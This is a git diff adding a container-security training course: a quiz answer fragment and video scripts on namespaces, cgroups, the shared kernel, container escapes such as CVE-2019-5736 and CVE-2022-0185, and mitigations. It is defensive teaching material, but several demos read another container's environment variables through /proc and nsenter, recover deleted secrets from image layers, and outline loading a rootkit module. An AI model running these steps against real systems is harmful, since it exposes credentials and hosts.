to the host kernel's 300+ system calls to exploit a kernel vulnerability, since default containers lack comprehensive syscall filtering +**C)** Connecting to the Docker daemon through the container's network interface, since Docker API is accessible from within containers by default +**D)** Loading a malicious kernel module from within the container, since kernel modules are accessible by default to all containers + +**Correct Answer:** B + +**Explanation:** With default Docker settings, containers have 14 Linux capabilities and access to 300+ system calls (Docker's default Seccomp profile blocks only ~44 calls). This provides a substantial attack surface against the shared host kernel. If a kernel vulnerability exists in any of the permitted system calls, the attacker can exploit it for privilege escalation and container escape. PID namespace bypasses (A) are not a common attack vector — the namespace is kernel-enforced. The Docker daemon (C) is not accessible from within containers by default — it listens on a Unix socket on the host, not on the container's network. Loading kernel modules (D) requires the SYS_MODULE capability, which is not in the default capability set — this is only possible in privileged containers. diff --git a/container-security-course/module_01_fundamentals/questions.pdf b/container-security-course/module_01_fundamentals/questions.pdf new file mode 100644 index 0000000..6e5c891 Binary files /dev/null and b/container-security-course/module_01_fundamentals/questions.pdf differ diff --git a/container-security-course/module_01_fundamentals/video_01_script.docx b/container-security-course/module_01_fundamentals/video_01_script.docx new file mode 100644 index 0000000..1f20815 Binary files /dev/null and b/container-security-course/module_01_fundamentals/video_01_script.docx differ diff --git a/container-security-course/module_01_fundamentals/video_01_script.md b/container-security-course/module_01_fundamentals/video_01_script.md new file mode 100644 index 0000000..49855eb --- /dev/null +++ b/container-security-course/module_01_fundamentals/video_01_script.md @@ -0,0 +1,270 @@ +# Video 1.1: Container Architecture and Isolation from a Security Perspective + +**Duration:** 8:00 +**Format:** PPT (30%) / Terminal (45%) / Code Editor (15%) / Browser (10%) +**Resolution:** 1920x1080 @ 30fps +**Prerequisites:** Basic Linux CLI + +--- + +## SCRIPT BEGIN + +### [0:00–0:45] — Opening Context (PPT Slide) + +**SLIDE:** Title: *"What Is a Container, Really?"* — Diagram showing a process with dotted-line boundaries around it labeled "namespace," "cgroup," "filesystem" + +**NARRATION:** +"Before we secure containers, we need to understand what a container actually is — not the marketing version, but the kernel version. A container is not a lightweight virtual machine. A container is a regular Linux process — or group of processes — with three layers of restriction applied to it. First, namespaces limit what the process can see. Second, cgroups limit what the process can use. Third, a layered filesystem limits what the process can access on disk. That's it. There is no container object in the Linux kernel. There's no 'container' system call. It's just a process with boundaries. And understanding those boundaries is the foundation of container security." + +--- + +### [0:45–1:15] — Namespace Overview (PPT Slide) + +**SLIDE:** Table showing Linux namespaces: + +| Namespace | Isolates | Kernel Flag | +|-----------|----------|-------------| +| PID | Process IDs | CLONE_NEWPID | +| NET | Network stack | CLONE_NEWNET | +| MNT | Mount points | CLONE_NEWNS | +| UTS | Hostname | CLONE_NEWUTS | +| IPC | IPC resources | CLONE_NEWIPC | +| USER | User/Group IDs | CLONE_NEWUSER | +| Cgroup | Cgroup root | CLONE_NEWCGROUP | +| Time | System clocks | CLONE_NEWTIME | + +**NARRATION:** +"Linux provides eight types of namespaces, each isolating a different aspect of the system. PID namespaces give a process its own process ID tree — inside the namespace, it thinks it's PID 1. NET namespaces give it a separate network stack with its own interfaces, routes, and firewall rules. Mount namespaces isolate the filesystem view. UTS isolates the hostname. IPC isolates inter-process communication. User namespaces remap user IDs. And there are cgroup and time namespaces as well. When Docker creates a container, it uses the `clone()` or `unshare()` system calls with combinations of these flags to build the isolation boundary." + +--- + +### [1:15–3:00] — Hands-On: Building Isolation with unshare (Terminal) + +**SCREEN:** Terminal at 150% zoom, dark theme, max 20 lines visible. + +**NARRATION:** +"Let's prove this. I'm going to create container-like isolation using nothing but the `unshare` command. No Docker." + +**COMMAND + EXPLANATION:** + +```bash +# Step 1: Show current PID and hostname on the host +$ echo "Host PID: $$, Hostname: $(hostname)" +``` +*"First, let's note our current PID and hostname on the host system."* + +```bash +# Step 2: Create a new PID, UTS, and mount namespace +$ sudo unshare --pid --uts --mount --fork bash +``` +*"Now I'm calling unshare with PID, UTS, and mount namespace flags. The fork flag ensures the new bash process becomes PID 1 inside the new PID namespace."* + +```bash +# Step 3: Verify isolation — inside the new namespace +# mount proc so ps works correctly in the new PID namespace +$ mount -t proc proc /proc +$ echo "Namespace PID: $$" +$ ps aux +``` +*"Look at that — our shell is PID 1. And `ps aux` only shows processes inside this namespace. The host's hundreds of processes are invisible to us. This is PID namespace isolation."* + +```bash +# Step 4: Change hostname — UTS namespace isolation +$ hostname container-demo +$ hostname +container-demo +``` +*"I can change the hostname and it only affects this namespace. The host's hostname is untouched."* + +```bash +# Step 5: Verify host is unaffected — open a SECOND terminal tab +# (On host) +$ hostname +original-hostname +$ ps aux | grep unshare +``` +*"In a second terminal on the host, our hostname is unchanged. And we can see the unshare process — because from the host's perspective, the 'container' is just a process."* + +```bash +# Step 6: Exit the namespace +$ exit +``` + +--- + +### [3:00–4:15] — Inspecting Namespaces from the Host (Terminal) + +**NARRATION:** +"Now let's inspect namespaces the way a security analyst would — from the host side." + +**COMMAND + EXPLANATION:** + +```bash +# Start a Docker container for comparison +$ docker run -d --name ns-demo alpine sleep 3600 +``` +*"Let me start an Alpine container so we can inspect its namespaces."* + +```bash +# Find the container's PID on the host +$ docker inspect --format '{{.State.Pid}}' ns-demo +# Let's say this returns 4521 +``` + +```bash +# List the namespaces for this process +$ ls -la /proc/4521/ns/ +``` +*"Every process on Linux has a `/proc/[pid]/ns/` directory that shows its namespace memberships. Each entry is a symbolic link to a namespace object. Two processes in the same namespace will have the same inode number."* + +```bash +# Compare with PID 1 (init) on the host +$ ls -la /proc/1/ns/ +``` +*"Compare these with PID 1 — the host's init process. Different inode numbers mean different namespaces — that's the isolation boundary."* + +```bash +# Use lsns for a cleaner view +$ lsns -p 4521 +``` +*"`lsns` gives you a cleaner view — showing each namespace type, its inode, the number of processes inside it, and the owning user. This is one of your primary tools for auditing container isolation."* + +```bash +# Clean up +$ docker rm -f ns-demo +``` + +--- + +### [4:15–5:30] — Cgroups: Resource Limits (PPT + Terminal) + +**SLIDE:** Title: *"Cgroups — Controlling Resource Consumption"* +Diagram: Process inside a box with gauges for CPU, Memory, I/O, PIDs + +**NARRATION:** +"Namespaces control what a process can see. Cgroups control what it can use. Control groups — cgroups — allow the kernel to limit CPU time, memory, disk I/O, network bandwidth, and even the number of processes a container can create." + +**SWITCH TO TERMINAL:** + +```bash +# Run a container with resource limits +$ docker run -d --name cgroup-demo \ + --memory=128m \ + --cpus=0.5 \ + --pids-limit=50 \ + alpine sleep 3600 +``` +*"Let's start a container with explicit resource limits — 128 megabytes of memory, half a CPU core, and a maximum of 50 processes."* + +```bash +# Find the cgroup for this container (cgroup v2) +$ CONTAINER_ID=$(docker inspect --format '{{.Id}}' cgroup-demo) +$ cat /sys/fs/cgroup/system.slice/docker-${CONTAINER_ID}.scope/memory.max +# Output: 134217728 (128MB in bytes) +``` +*"The kernel enforces these limits through the cgroup filesystem. Here you can see the memory limit — 134 million bytes, exactly 128 megabytes."* + +```bash +# Check CPU limit +$ cat /sys/fs/cgroup/system.slice/docker-${CONTAINER_ID}.scope/cpu.max +# Output: 50000 100000 (50% of one core) +``` +*"The CPU limit shows 50,000 out of 100,000 microseconds per period — that's our half-CPU limit."* + +```bash +# Check PIDs limit +$ cat /sys/fs/cgroup/system.slice/docker-${CONTAINER_ID}.scope/pids.max +# Output: 50 +``` +*"And the PID limit is set to 50. If a containerized process tries to fork-bomb, it'll hit this ceiling."* + +--- + +### [5:30–6:15] — Security Implications of Cgroups (PPT Slide) + +**SLIDE:** Title: *"Why Cgroups Matter for Security"* — Two columns: + +**Without Cgroup Limits:** +- Single container can consume all host memory → OOM kills other containers +- Fork bomb inside container → exhausts host PID space +- I/O-heavy container → starves neighboring workloads +- CPU-intensive process → degrades all co-tenants + +**With Cgroup Limits:** +- Memory bounded → container is killed before host impact +- PID limits → fork bomb contained +- I/O throttling → fair sharing enforced +- CPU quotas → predictable performance + +**NARRATION:** +"From a security standpoint, cgroups are your defense against denial-of-service conditions. Without cgroup limits, a single rogue container can consume all host memory, fork-bomb the process table, or starve other workloads of I/O. With limits properly configured, the damage is contained. The container itself might crash, but the host and neighboring containers survive. This is the security principle of blast radius reduction — and cgroups are how you enforce it at the kernel level." + +--- + +### [6:15–7:15] — Layered Filesystem Security (Code Editor + Terminal) + +**SCREEN:** Code editor at 150% zoom showing a Dockerfile + +**NARRATION:** +"The third pillar of container isolation is the layered filesystem — implemented through overlay filesystems." + +**CODE EDITOR — Dockerfile:** +```dockerfile +FROM ubuntu:22.04 +# Layer 1: Base OS + +RUN apt-get update && apt-get install -y nginx +# Layer 2: Install nginx + +COPY nginx.conf /etc/nginx/nginx.conf +# Layer 3: Configuration + +RUN echo "sensitive_data" > /tmp/secret.txt && \ + rm /tmp/secret.txt +# Layer 4: SECURITY RISK — data persists in layer! +``` + +*"Here's a critical security concept. Each instruction in a Dockerfile creates an immutable layer. Even if you delete a file in a later instruction, the data still exists in the previous layer. This is a common source of credential leaks — developers add secrets, then remove them, thinking they're gone. They're not."* + +**SWITCH TO TERMINAL:** + +```bash +# Demonstrate layer persistence +$ docker build -t layer-demo . +$ docker history layer-demo +``` +*"Docker history shows each layer. And with tools like `dive` or manual layer extraction, an attacker can recover deleted secrets from any layer."* + +```bash +# Extract and inspect layers +$ docker save layer-demo -o layer-demo.tar +$ mkdir layers && tar -xf layer-demo.tar -C layers/ +$ find layers/ -name "secret.txt" +``` +*"There it is — the 'deleted' secret, still sitting in the layer archive. We'll cover how to prevent this properly in later modules."* + +--- + +### [7:15–8:00] — Section Recap and Bridge (PPT Slide) + +**SLIDE:** Title: *"Key Takeaways"* — Three pillars diagram: + +1. **Namespaces** → Visibility isolation (what you can see) +2. **Cgroups** → Resource isolation (what you can use) +3. **Layered FS** → Filesystem isolation (what you can access) + +*"These are the building blocks. None of them are perfect — they're not designed to be security boundaries in the way a hypervisor is. They're process-level restrictions. And that distinction is critical, because in the next lesson, we're going to compare this model directly to virtual machine isolation, and you'll see exactly where containers fall short."* + +**SLIDE:** *"Next: Container vs. VM Security Models →"* + +--- + +## SCRIPT END + +### Post-Production Notes +- Terminal recordings should use a clean dark theme (e.g., Dracula or One Dark) +- All commands must be pre-tested on Ubuntu 22.04 with Docker 24.x+ +- For the namespace comparison, use split-screen showing host terminal and namespace terminal side by side +- The Dockerfile layer demo should highlight the security risk line in red +- Cgroup filesystem paths assume cgroup v2 — add a note overlay if the system uses cgroup v1 +- Pause briefly (1 second) after each command output before narrating the explanation diff --git a/container-security-course/module_01_fundamentals/video_01_script.pdf b/container-security-course/module_01_fundamentals/video_01_script.pdf new file mode 100644 index 0000000..e7bc9d2 Binary files /dev/null and b/container-security-course/module_01_fundamentals/video_01_script.pdf differ diff --git a/container-security-course/module_01_fundamentals/video_02_script.docx b/container-security-course/module_01_fundamentals/video_02_script.docx new file mode 100644 index 0000000..63aac90 Binary files /dev/null and b/container-security-course/module_01_fundamentals/video_02_script.docx differ diff --git a/container-security-course/module_01_fundamentals/video_02_script.md b/container-security-course/module_01_fundamentals/video_02_script.md new file mode 100644 index 0000000..8213e3e --- /dev/null +++ b/container-security-course/module_01_fundamentals/video_02_script.md @@ -0,0 +1,217 @@ +# Video 1.2: Container vs. VM Security Models + +**Duration:** 7:00 +**Format:** PPT (35%) / Terminal (35%) / Browser (20%) / Code Editor (10%) +**Resolution:** 1920x1080 @ 30fps +**Prerequisites:** Video 1.1 (Namespaces, cgroups basics) + +--- + +## SCRIPT BEGIN + +### [0:00–0:50] — The Fundamental Difference (PPT Slide) + +**SLIDE:** Side-by-side architecture diagram: + +**Left — Virtual Machine:** +``` +┌──────────────┐ ┌──────────────┐ +│ App A │ │ App B │ +│ Libs │ │ Libs │ +│ Guest OS │ │ Guest OS │ +│ (Kernel A) │ │ (Kernel B) │ +├──────────────┴──┴──────────────┤ +│ Hypervisor │ +├────────────────────────────────┤ +│ Host Hardware │ +└────────────────────────────────┘ +``` + +**Right — Container:** +``` +┌──────────────┐ ┌──────────────┐ +│ App A │ │ App B │ +│ Libs │ │ Libs │ +├──────────────┴──┴──────────────┤ +│ Shared Host Kernel │ +├────────────────────────────────┤ +│ Host OS │ +├────────────────────────────────┤ +│ Host Hardware │ +└────────────────────────────────┘ +``` + +**NARRATION:** +"This is the diagram you've probably seen a hundred times. But let's read it as a security engineer. On the left, virtual machines — each VM has its own kernel, its own operating system, running on top of a hypervisor. The hypervisor mediates all access to hardware. On the right, containers — they share the host kernel directly. There is no hypervisor. There is no guest OS. Every container's system calls go straight to the same kernel. This is the fundamental architectural difference, and from a security perspective, it changes everything." + +--- + +### [0:50–1:45] — Attack Surface Comparison (PPT Slide) + +**SLIDE:** Title: *"Attack Surface Comparison"* + +| Dimension | Virtual Machine | Container | +|-----------|----------------|-----------| +| Kernel exposure | Guest kernel only | Shared host kernel | +| Escape complexity | Hypervisor exploit (rare) | Kernel exploit (more common) | +| Syscall surface | Hypervisor-mediated | Direct to host kernel | +| Network isolation | Virtual NIC, separate stack | Virtual bridge, shared kernel stack | +| Filesystem | Virtual disk image | Layered overlay on host FS | +| Blast radius of escape | Access to hypervisor | Access to host + ALL containers | + +**NARRATION:** +"Let me break this down. In a VM, if an attacker compromises the guest OS, they're still inside a virtualized environment. To reach the host, they need a hypervisor escape — these exist, but they're rare and extremely valuable. In a container, if an attacker compromises the containerized application, they're one kernel vulnerability away from the host. The system call surface goes directly to the host kernel — there's no translation layer. And if they escape? They don't just get the host — they potentially get access to every container running on that host. The blast radius is fundamentally larger." + +--- + +### [1:45–3:15] — Proving the Shared Kernel (Terminal) + +**SCREEN:** Terminal at 150% zoom + +**NARRATION:** +"Let me prove this is real, not theoretical." + +**COMMAND + EXPLANATION:** + +```bash +# Show host kernel version +$ uname -r +5.15.0-92-generic +``` +*"Here's the host kernel version."* + +```bash +# Run containers with different "OS" images +$ docker run --rm alpine uname -r +5.15.0-92-generic + +$ docker run --rm ubuntu:22.04 uname -r +5.15.0-92-generic + +$ docker run --rm centos:7 uname -r +5.15.0-92-generic +``` +*"Now watch — I'm running Alpine, Ubuntu, and CentOS containers. Every single one reports the same kernel version. They're all running on the host kernel. The container image provides the userspace — libraries, package managers, shell — but the kernel is shared. Always."* + +```bash +# Show that a container can see host kernel messages (without filtering) +$ docker run --rm --privileged alpine dmesg | tail -5 +``` +*"With privileged access, a container can even read the host kernel's message buffer. This is the shared kernel in action."* + +```bash +# Show shared kernel modules +$ docker run --rm --privileged alpine lsmod | head -10 +``` +*"Same kernel modules too. Every kernel module loaded on the host is accessible from inside the container. If a kernel module has a vulnerability, every container on that host is exposed."* + +--- + +### [3:15–4:15] — The /proc and /sys Exposure (Terminal) + +**NARRATION:** +"Let's look at another critical difference — what the container can see about the host through pseudo-filesystems." + +**COMMAND + EXPLANATION:** + +```bash +# Default container — some host info leaks through +$ docker run --rm alpine cat /proc/version +Linux version 5.15.0-92-generic ... +``` +*"The container can read the host's kernel version string from /proc/version."* + +```bash +# Host CPU info is visible +$ docker run --rm alpine cat /proc/cpuinfo | head -20 +``` +*"It can see the exact CPU model, number of cores, and processor flags. This is information leakage — an attacker uses this for reconnaissance."* + +```bash +# Memory info is partially visible +$ docker run --rm alpine cat /proc/meminfo | head -5 +``` +*"And it can see the host's total memory — not just the container's cgroup limit. Without the right hardening, containers leak host information by default."* + +```bash +# Compare with a hardened container +$ docker run --rm --read-only \ + --security-opt=no-new-privileges \ + --cap-drop=ALL \ + alpine cat /proc/cpuinfo | head -5 +``` +*"Even with common hardening flags, this information still leaks. We need additional measures like read-only /proc mounts or tools like Sysbox to prevent this. We'll cover hardening in depth in later modules."* + +--- + +### [4:15–5:15] — VM Escape vs. Container Escape (PPT + Browser) + +**SLIDE:** Title: *"Escape Complexity Comparison"* + +**VM Escape (CVE-2015-3456 — VENOM):** +- Required exploiting a flaw in QEMU's virtual floppy disk controller +- Affected the hypervisor hardware emulation layer +- Complexity: Very high — required deep knowledge of hardware emulation +- Impact: Access to hypervisor, then to other VMs + +**Container Escape (CVE-2019-5736 — runc):** +- Exploited a flaw in the container runtime's file handling +- Overwrote the host's runc binary from inside the container +- Complexity: Moderate — a crafted container image was sufficient +- Impact: Root access on the host immediately + +**NARRATION:** +"Let's compare two real escapes. VENOM — a VM escape from 2015 — required exploiting a bug in QEMU's virtual floppy disk controller. You needed deep knowledge of hardware emulation, and even then, you landed in the hypervisor, not directly on the host OS. Contrast that with CVE-2019-5736 — a container escape from 2019. An attacker could craft a malicious container image that, when run, would overwrite the host's runc binary. The result? Root code execution on the host. The complexity was moderate — a PoC was publicly available within weeks. This difference in escape complexity is why the container vs. VM security boundary discussion matters." + +**SWITCH TO BROWSER:** +*"Let me show you the advisory."* + +**BROWSER:** Navigate to `https://nvd.nist.gov/vuln/detail/CVE-2019-5736` +*"Here on the NVD page — CVSS score of 8.6. The attack vector is local, but in container environments, 'local' means any container running on your infrastructure. The description clearly states: allows overwriting the host runc binary and thus gaining host root access."* + +--- + +### [5:15–6:15] — When to Use Containers vs. VMs (PPT Slide) + +**SLIDE:** Title: *"Security Decision Matrix"* + +| Scenario | Recommendation | Rationale | +|----------|---------------|-----------| +| Multi-tenant workloads | VM (or VM + container) | Hard isolation between tenants | +| Running untrusted code | VM or gVisor/Kata | Container isolation insufficient | +| Microservices (trusted) | Container + hardening | Performance + acceptable risk | +| CI/CD build pipelines | Ephemeral VMs or sandboxed containers | Build processes are high-risk | +| Development environments | Containers fine | Risk tolerance higher | +| Regulatory compliance (PCI, HIPAA) | VM boundary often required | Auditors expect hardware isolation | + +**NARRATION:** +"So when should you use containers and when should you insist on VMs? For multi-tenant workloads — where different customers or trust domains share infrastructure — you need VM-level isolation, period. Running untrusted code? Use VMs or specialized runtimes like gVisor or Kata Containers that add a kernel boundary. For trusted microservices with proper hardening, containers are appropriate — the performance benefits are real. CI/CD pipelines are high-risk — build processes pull arbitrary code from the internet and execute it. Use ephemeral VMs or heavily sandboxed containers. And for regulatory compliance — especially PCI-DSS and HIPAA — auditors often require demonstrable hardware-level isolation between security zones." + +--- + +### [6:15–7:00] — Key Takeaways and Bridge (PPT Slide) + +**SLIDE:** Title: *"Key Takeaways"* + +1. Containers share the host kernel — this is an architectural fact, not a bug +2. The attack surface of containers is fundamentally larger than VMs +3. Container escapes are more frequent and less complex than VM escapes +4. Defense-in-depth is mandatory — containers alone are not a security boundary +5. Choose isolation technology based on trust boundaries, not convenience + +**NARRATION:** +"Let me be clear — containers are not insecure by design. They were designed for performance and portability, not security isolation. The shared kernel is a feature for efficiency and a risk for security. Your job as a security professional is to understand this tradeoff and apply defense-in-depth. In the next lesson, we're going to go deeper into the shared kernel problem — examining exactly which system calls cross the isolation boundary and what that means for your threat model." + +**SLIDE:** *"Next: The Shared Kernel Problem →"* + +--- + +## SCRIPT END + +### Post-Production Notes +- Architecture diagrams should be animated — build from bottom (hardware) up +- For the uname -r demos, use three separate terminal panes tiled horizontally to show all results simultaneously +- The NVD browser page should be pre-loaded; do not show live page loading +- Decision matrix table should highlight the "VM" recommendations in amber/orange +- Add a subtle visual indicator (red border) around the "Container" architecture diagram when discussing security limitations +- Ensure CentOS image is pre-pulled to avoid download delays during recording diff --git a/container-security-course/module_01_fundamentals/video_02_script.pdf b/container-security-course/module_01_fundamentals/video_02_script.pdf new file mode 100644 index 0000000..24b59e4 Binary files /dev/null and b/container-security-course/module_01_fundamentals/video_02_script.pdf differ diff --git a/container-security-course/module_01_fundamentals/video_03_script.docx b/container-security-course/module_01_fundamentals/video_03_script.docx new file mode 100644 index 0000000..82083ea Binary files /dev/null and b/container-security-course/module_01_fundamentals/video_03_script.docx differ diff --git a/container-security-course/module_01_fundamentals/video_03_script.md b/container-security-course/module_01_fundamentals/video_03_script.md new file mode 100644 index 0000000..724daac --- /dev/null +++ b/container-security-course/module_01_fundamentals/video_03_script.md @@ -0,0 +1,213 @@ +# Video 1.3: The Shared Kernel Problem + +**Duration:** 7:00 +**Format:** PPT (25%) / Terminal (40%) / Code Editor (20%) / Browser (15%) +**Resolution:** 1920x1080 @ 30fps +**Prerequisites:** Video 1.1, 1.2 + +--- + +## SCRIPT BEGIN + +### [0:00–0:40] — Opening: Why the Kernel Matters (PPT Slide) + +**SLIDE:** Title: *"The Shared Kernel Problem"* — Central kernel icon with arrows pointing to it from 6 container icons, each labeled "Container 1" through "Container 6" + +**NARRATION:** +"In the previous lesson, we established that containers share the host kernel. In this lesson, we're going to explore exactly why that's a problem. The Linux kernel exposes over 400 system calls. Every single one of those system calls is available to every container on the host — unless you explicitly restrict them. The kernel is the largest shared attack surface in any container deployment, and one vulnerability in one system call can compromise every container on the machine." + +--- + +### [0:40–1:40] — System Call Exposure (Terminal) + +**SCREEN:** Terminal at 150% zoom + +**NARRATION:** +"Let me show you the scale of this surface." + +**COMMAND + EXPLANATION:** + +```bash +# Count available system calls on the host kernel +$ ausyscall --dump | wc -l +``` +*"On this kernel, there are over 350 system calls. Every one of these is callable from inside a container by default."* + +```bash +# Show some security-relevant system calls +$ ausyscall --dump | grep -E "mount|ptrace|reboot|kexec|bpf|userfault" +``` +*"Look at some of these — mount, ptrace, reboot, kexec_load, bpf, userfaultfd. These are powerful system calls. `mount` can attach filesystems. `ptrace` can trace and control other processes. `kexec_load` can load a new kernel. `bpf` can inject code into the kernel. Not all of these are available to containers by default — Docker does apply a default Seccomp profile — but the point is that the kernel surface is vast, and any unfiltered call is a potential attack vector."* + +```bash +# Check Docker's default seccomp profile — how many calls are blocked? +$ docker run --rm alpine cat /proc/1/status | grep Seccomp +Seccomp: 2 +Seccomp_filters: 1 +``` +*"Seccomp mode 2 means the container is running with a Seccomp filter. Docker's default profile blocks about 44 system calls. That means roughly 300+ calls are still permitted. We'll deep-dive into Seccomp in Module 3, but the takeaway here is: even with defaults, the attack surface is huge."* + +--- + +### [1:40–3:00] — Kernel Vulnerability Impact (Browser + PPT) + +**NARRATION:** +"Let's see what happens when a kernel vulnerability is discovered." + +**BROWSER:** Navigate to `https://nvd.nist.gov/vuln/detail/CVE-2022-0185` + +**NARRATION:** +"CVE-2022-0185 — a heap-based buffer overflow in the Linux kernel's filesystem context handling. Published January 2022. CVSS score 8.4. This vulnerability allowed an unprivileged user — or a container process — to escalate privileges to root on the host. Let me read the key part: 'a heap-based buffer overflow flaw was found in the legacy_parse_param function in the Filesystem Context functionality of the Linux kernel.' All a container needed was the CAP_SYS_ADMIN capability, which privileged containers have by default." + +**SWITCH TO PPT SLIDE:** + +**SLIDE:** Title: *"CVE-2022-0185 — Impact Analysis"* + +- **Affected:** Linux kernel 5.1 through 5.16.2 +- **Vector:** From inside a container with CAP_SYS_ADMIN +- **Impact:** Container escape → host root access +- **Scope:** EVERY container on the affected host is compromised +- **Fix:** Kernel update required — not a container image update +- **Timeline:** Disclosed Jan 18, 2022 → Exploit public Jan 25, 2022 (7 days) + +**NARRATION:** +"Here's the critical lesson. When a kernel vulnerability is found, you can't fix it by updating your container images. You can't fix it by restarting your containers. You must patch the host kernel and reboot. And until you do, every single container on that host is potentially exploitable. The shared kernel means a single vulnerability has a blast radius of the entire host. In a VM model, each VM has its own kernel — a vulnerability in the guest kernel doesn't affect the host. That's the fundamental difference." + +--- + +### [3:00–4:30] — Demonstrating Cross-Container Visibility (Terminal) + +**NARRATION:** +"Let me demonstrate another consequence of kernel sharing — cross-container visibility." + +**COMMAND + EXPLANATION:** + +```bash +# Start two "isolated" containers +$ docker run -d --name victim alpine sleep 3600 +$ docker run -d --name attacker alpine sleep 3600 +``` +*"I've started two containers — victim and attacker. They should be completely isolated from each other, right?"* + +```bash +# From the HOST, find both container PIDs +$ VICTIM_PID=$(docker inspect --format '{{.State.Pid}}' victim) +$ ATTACKER_PID=$(docker inspect --format '{{.State.Pid}}' attacker) +$ echo "Victim: $VICTIM_PID, Attacker: $ATTACKER_PID" +``` +*"From the host, both containers are just processes with PIDs."* + +```bash +# If the attacker escapes to the host (e.g., via kernel exploit), +# they can see everything +# Simulating host-level access: +$ ls /proc/$VICTIM_PID/environ +$ cat /proc/$VICTIM_PID/environ | tr '\0' '\n' +``` +*"With host-level access, the attacker can read the victim container's environment variables — where credentials are often stored. They can read its command line, its open file descriptors, its network connections. The PID namespace hides these from inside the container, but from the host, everything is visible. This is why a container escape is catastrophic — it's not just one container that's compromised."* + +```bash +# Show the victim's network connections from host +$ nsenter --target $VICTIM_PID --net ss -tlnp +``` +*"Using `nsenter`, I can enter the victim's network namespace and see its open ports and connections. This is the same tool Docker uses internally — and it's what an attacker uses after escaping."* + +```bash +# Clean up +$ docker rm -f victim attacker +``` + +--- + +### [4:30–5:30] — Kernel Module Risk (Code Editor + Terminal) + +**SCREEN:** Code editor at 150% zoom + +**NARRATION:** +"There's another dimension to the shared kernel problem — kernel modules." + +**CODE EDITOR — Showing a conceptual attack flow:** +```text +SHARED KERNEL — MODULE ATTACK FLOW +==================================== + +1. Attacker gains root inside a privileged container +2. Attacker loads a malicious kernel module: + $ insmod /tmp/rootkit.ko +3. Module runs in kernel space — NO isolation applies +4. Module can: + - Intercept system calls of ALL containers + - Hide processes from ALL containers + - Capture network traffic of ALL containers + - Modify file I/O of ALL containers + - Install persistent backdoor on the HOST +5. Module survives container restart +6. Module is invisible to container-level monitoring +``` + +**NARRATION:** +"If an attacker gains root inside a privileged container, they can load kernel modules. And a kernel module runs in kernel ring 0 — it's completely outside any container isolation. A malicious kernel module can intercept system calls from every container, capture network traffic, hide processes, and persist across container restarts. This is why privileged containers are so dangerous — and we'll cover that in depth in Module 2." + +**SWITCH TO TERMINAL:** + +```bash +# Show that privileged containers can list kernel modules +$ docker run --rm --privileged alpine lsmod | wc -l +``` +*"A privileged container can list all kernel modules."* + +```bash +# Show that unprivileged containers cannot +$ docker run --rm alpine lsmod 2>&1 +lsmod: can't change directory to '/lib/modules/...': No such file or directory +``` +*"An unprivileged container can't — but that's a userspace restriction, not a kernel enforcement. The system call itself might still be available unless Seccomp blocks it."* + +--- + +### [5:30–6:20] — Mitigations Overview (PPT Slide) + +**SLIDE:** Title: *"Mitigating the Shared Kernel Risk"* + +| Mitigation | What It Does | Limitation | +|------------|-------------|------------| +| Seccomp profiles | Restrict available syscalls | Doesn't prevent kernel bugs in allowed calls | +| AppArmor / SELinux | Mandatory access control | Complex to configure, may break apps | +| User namespaces | Map container root to unprivileged host user | Not universally supported | +| Read-only root FS | Prevent filesystem writes | Requires app changes | +| Kata Containers / gVisor | Add kernel boundary | Performance overhead | +| Regular kernel patching | Fix known vulnerabilities | Zero-days still a risk | +| Minimal base images | Reduce userspace attack surface | Doesn't reduce kernel surface | + +**NARRATION:** +"There are several mitigation strategies, and we'll cover each one in detail throughout this course. Seccomp profiles restrict which system calls are available — Module 3 is entirely dedicated to this. AppArmor and SELinux provide mandatory access control. User namespaces can remap the container's root user to an unprivileged host user. Read-only filesystems prevent writes. Alternative runtimes like Kata Containers and gVisor add a kernel-level boundary at the cost of performance. And of course, regular kernel patching. No single mitigation is sufficient — defense-in-depth is required. Every layer you add reduces the blast radius of a kernel compromise." + +--- + +### [6:20–7:00] — Key Takeaways and Bridge (PPT Slide) + +**SLIDE:** Title: *"The Shared Kernel — Summary"* + +1. **300+ system calls** are available to containers by default +2. **One kernel vulnerability** can compromise every container on the host +3. **Container escapes** grant access to all co-tenant containers +4. **Kernel modules** bypass all container isolation entirely +5. **Mitigation requires layered defenses** — no single tool is sufficient +6. **Kernel patching cadence** must match your risk tolerance + +**NARRATION:** +"The shared kernel is not a design flaw — it's a design choice that prioritizes performance. But it means your security strategy must account for the reality that containers don't have the hard isolation boundary that VMs provide. You need Seccomp, AppArmor, user namespaces, runtime monitoring, and a disciplined kernel patching cadence — all working together. In the next lesson, we'll shift from architecture to Docker specifically — looking at the Docker daemon, its configuration, and the most common misconfigurations that lead to host compromise." + +**SLIDE:** *"Next: Docker Security Basics and Daemon Configuration →"* + +--- + +## SCRIPT END + +### Post-Production Notes +- CVE browser page should be zoomed to 150% for readability — pre-load the page +- For the cross-container demo, use split terminal panes: left for commands, right showing the output +- The kernel module attack flow in the code editor should be revealed line by line with slight delays +- Mitigation table should use color coding: green for effective, yellow for partial, red for limitations +- Add a counter animation on the "300+ system calls" statistic +- Ensure all container images (alpine) are pre-pulled before recording diff --git a/container-security-course/module_01_fundamentals/video_03_script.pdf b/container-security-course/module_01_fundamentals/video_03_script.pdf new file mode 100644 index 0000000..1535073 Binary files /dev/null and b/container-security-course/module_01_fundamentals/video_03_script.pdf differ diff --git a/container-security-course/module_01_fundamentals/video_04_script.docx b/container-security-course/module_01_fundamentals/video_04_script.docx new file mode 100644 index 0000000..2367694 Binary files /dev/null and b/container-security-course/module_01_fundamentals/video_04_script.docx differ diff --git a/container-security-course/module_01_fundamentals/video_04_script.md b/container-security-course/module_01_fundamentals/video_04_script.md new file mode 100644 index 0000000..5faf043 --- /dev/null +++ b/container-security-course/module_01_fundamentals/video_04_script.md @@ -0,0 +1,307 @@ +# Video 1.4: Docker Security Basics and Daemon Configuration + +**Duration:** 8:00 +**Format:** PPT (20%) / Terminal (35%) / Code Editor (30%) / Browser (15%) +**Resolution:** 1920x1080 @ 30fps +**Prerequisites:** Videos 1.1–1.3 + +--- + +## SCRIPT BEGIN + +### [0:00–0:45] — Docker Architecture from a Security Lens (PPT Slide) + +**SLIDE:** Title: *"Docker Architecture — Security View"* +Diagram showing: +``` +┌────────────────────────────────────────────┐ +│ Docker Client (CLI) │ +│ docker run, docker build, docker push │ +└──────────────┬─────────────────────────────┘ + │ REST API (unix socket or TCP) +┌──────────────▼─────────────────────────────┐ +│ Docker Daemon (dockerd) ← RUNS AS ROOT │ +│ - Image management │ +│ - Container lifecycle │ +│ - Network management │ +│ - Volume management │ +└──────────────┬─────────────────────────────┘ + │ +┌──────────────▼─────────────────────────────┐ +│ Container Runtime (containerd → runc) │ +│ - Creates namespaces │ +│ - Applies cgroups │ 